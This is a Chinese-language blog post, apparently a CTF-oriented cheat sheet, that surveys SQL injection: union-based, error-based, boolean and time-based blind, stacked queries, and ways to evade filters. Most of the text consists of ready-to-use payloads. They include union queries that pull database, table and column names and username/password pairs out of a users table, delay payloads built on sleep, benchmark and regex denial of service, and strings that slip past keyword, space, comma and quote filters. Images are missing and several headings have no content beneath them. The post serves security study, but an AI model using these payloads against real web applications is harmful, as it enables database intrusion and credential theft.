0
点赞
收藏
分享

微信扫一扫

半小时了解SQL注入漏洞?(注入方式大全+绕过大全)

泠之屋 2022-10-01 阅读 168

SQL注入

🍀union注入

原理

过程

判断数字或者字符串

判断字段数

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

判断回显点

在这里插入图片描述

注入库名

在这里插入图片描述

分享几个查询数据库的方法

id=-1' union select 1,database(),3 --+
查看所有数据库名称
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata --+
id=-1' union select 1,SCHEMA_name,3 from information_schema.schemata limit1,1 --+ # 查询第2个数据
也可以用group_concat()函数将查询结果内容放入同一行
id=-1' union select 1,group_concat(SCHEMA_name),3 from information_schema.schemata --+

注入表名

id=-1' union select 1,group_concat(table_name),3 from information_schema.tables
where table_schema='库名' --+

注入列名

d=-1' union select 1,group_concat(column_name),group_concat(data_type) from
information_schema.columns where table_schema='库名' and table_name='表名' --+

查数据

id=-1' union select 1,username,password from security.users limit 0,1 --+
id=-1' union select 1,concat(username,0x5c,password),3 from security.users limit 0,1 --+
id=-1' union select 1,group_concat(username,0x5c,password),3 from security.users
--+

在这里插入图片描述

🍀报错注入

原理

注入

extractvalue

第一个参数为xml字符串
第二个参数为xpath格式字符串

后面的程序和上文union注入差不多,如有需要可以查看

双查询注入

上文所说查询时用group_concat或者limit
有些版本的mysql中query不能用聚合函数,面对这种情况,我们只能从口袋里掏出limit
在这里插入图片描述
用limit将结果一行一行爆出

双列名查询

在sql查询时,如果查询的两个列名是一样的就会报错,我们可以利用这个机制注入

报错函数

geometrycollection()

multipoint()

polygon()

multipolygon()

linestring()

multilinestring()

exp()

ST_LatFromGeoHash()

ST_LongFromGeoHash()

GTID_SUBSET()

GTID_SUBTRACT()

ST_PointFromGeoHash()

procedure analyse()

🍀盲注

布尔盲注

原理

举个例子

如果"库名"第一个字母是a,就回显“查询成功”,反之“查询失败”;
如果"库名"第一个字母是b,就回显“查询成功”,反之“查询失败”;
......
如果"库名"第一个字母是z,就回显“查询成功”,反之“查询失败”;
......

名字可能由任何字符组成,我们如果匹配上了,就把他记录下来,一位一位的比较,就可以获得我们要的数据了
当然,如果手动比较,电脑和我的手一定会炸掉一个
所以我们需要写脚本,在后文会介绍到。

布尔盲注payload构造步骤

我们该如何构造语句呢?
举个栗子

SELECT name, mojority FROM student WHERE student_id = '0' or substr((QUERY),1,1) = 'a'

SELECT name, mojority FROM student WHERE student_id = ‘0’ or substr((QUERY),1,1) = ‘a’
这个部分就是我们需要构造的部分

所以盲注就相当于把注入内容一位一位拆开然后比较内容,最后比较出啥输出啥,然后将比较到的每一位字符都输出就是我们的答案了

截取字符串

substr()

例如

select substr((select database()),1,1);

mid

rigth()

举个栗子

select ascii(right((select database()), 2));

left()

举个栗子:

elect ascii(reverse(left((select database()), 2));

regexp

举个栗子:

select (select database()) regexp binary '^sec'

rlike

trim

insert

字符串定位函数

INSTR(str,substr)> 返回字符串 str 中子字符串的第一个出现位置,否则为0
FIND_IN_SET(str,strlist)> 返回字符串 str 中子字符串的第一个出现位置,否则为0
LOCATE(substr,str,pos)> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置
在pos。如若substr 不在str中,则返回值为0
POSITION(substr IN str)> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串
substr 在 str 中不存在,返回值为 0

比较

rlike/regexp

between

in

and,or减法运算

脚本

这里避免大家看着无聊,本文主要是总结,所以脚本就放在下面内容了
35分钟了解sql注入-盲注(三)

时间盲注

原理

介绍下原理:

如果"数据库名"的第1个字母是a,你就睡眠5秒,否则就直接回显
......
如果"数据库名"的第2个字母是a,你就睡眠5秒,否则就直接回显
如果"数据库名"的第2个字母是b,你就睡眠5秒,否则就直接回显
......
后面以此类推

时间盲注payload步骤

条件语句构造

补充一下

and

(condition) AND sleep(5)

or

!(condition) OR sleep(5)

延时操作

这里还是要写一下

sleep

栗子:

SELECT if(ascii(substr((QUERY),8,1))=121,sleep(5),0);

benchmark

栗子:

SELECT benchmark(10000000,sha1('test'));

笛卡尔积延时

注意当查询发生在多个表中时,会将多个表已笛卡尔积的形式联合起来,在进行查询,非常费时;

SELECT count(*) FROM information_schema.columns A,
information_schema.columns B, information_schema.columns C;

正则dos延时

栗子:

select concat(rpad('a',3999999,'a'),rpad('a',3999999,'a')) RLIKE
concat(repeat('(a.*)+',30),'b');

脚本

35分钟了解sql注入-盲注(三)

报错盲注

原理

if(condition,报错,不报错)

🍀堆叠注入

原理

实施方法

例如:

table

handler

这个好好讲一下

原理

模板

使用方法

在这里插入图片描述

🍀修改数据

前提

具体方法

众所周知,在做题之前要看一下网页源代码

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
修改完毕将值发回去就可以发现成功注入了

在这里插入图片描述

🍀绕过方法大全🔥

常见绕过方式

关键字绕过

字符串

and/or

&& —和and作用相同
|| —和or作用相同

and/or/union

1'||(select user from xxx where xxx)='admin'

and/or/union/where

-- limit
1||( select user from users limit 1)='admin' limit 1,1
1||( select user from users limit 1)='admin' limit 1 offset 1
-- group by
1||select user from users group by user_id having user_id=1= 'admin'

and/or/union/where/limit/group by

and/or/union/where/limit/group by/select

1||user_id is not null -- 存在该字段正常查询,不存在报错
1||substr(user,1,1)=0×61
1||substr(user,1,1)=unhex(61)

空格

select/**/username/**/from/**/user; -- /**/ 使用注释
select/*!username*//*!from*/user; -- /*!*/ 内联注释,内联注释中的内容也会被当作代码执行
select(username)from(user); -- 使用括号绕过
select%0busername%0bfrom%0buser; -- 如果使用url传参时可以使用其他的空白符号(将其进行URL
编码)绕过:%09:TAB 键(水平); %0a: 新建一行; %0b:TAB 键(垂直); %0c:新的一页;
%0d:return 功能;
select`username`from`user`; -- 对于表名和列名可以用反引号包裹起来。

逗号

-- 绕过select中字段间的逗号,使用join
select * from ((select 1)A join (select 2)B join (select 3)C join (select 4)D);
-- 绕过if中的逗号
select username from user where username='admin' or (CASE WHEN (1=12) THEN 1
ELSE 0 END)
-- 绕过substr中逗号
Substr(DATABASE() FROM pos FOR len), mid(DATABASE() FROM 1 FOR 1)
-- 绕过limit中逗号
Limit 1 offset 1
select top 5 * from table

单双引号

如果’被改成了’,就无法用引号闭合sql语句中的引号了

🏆结束语

举报

相关推荐

0 条评论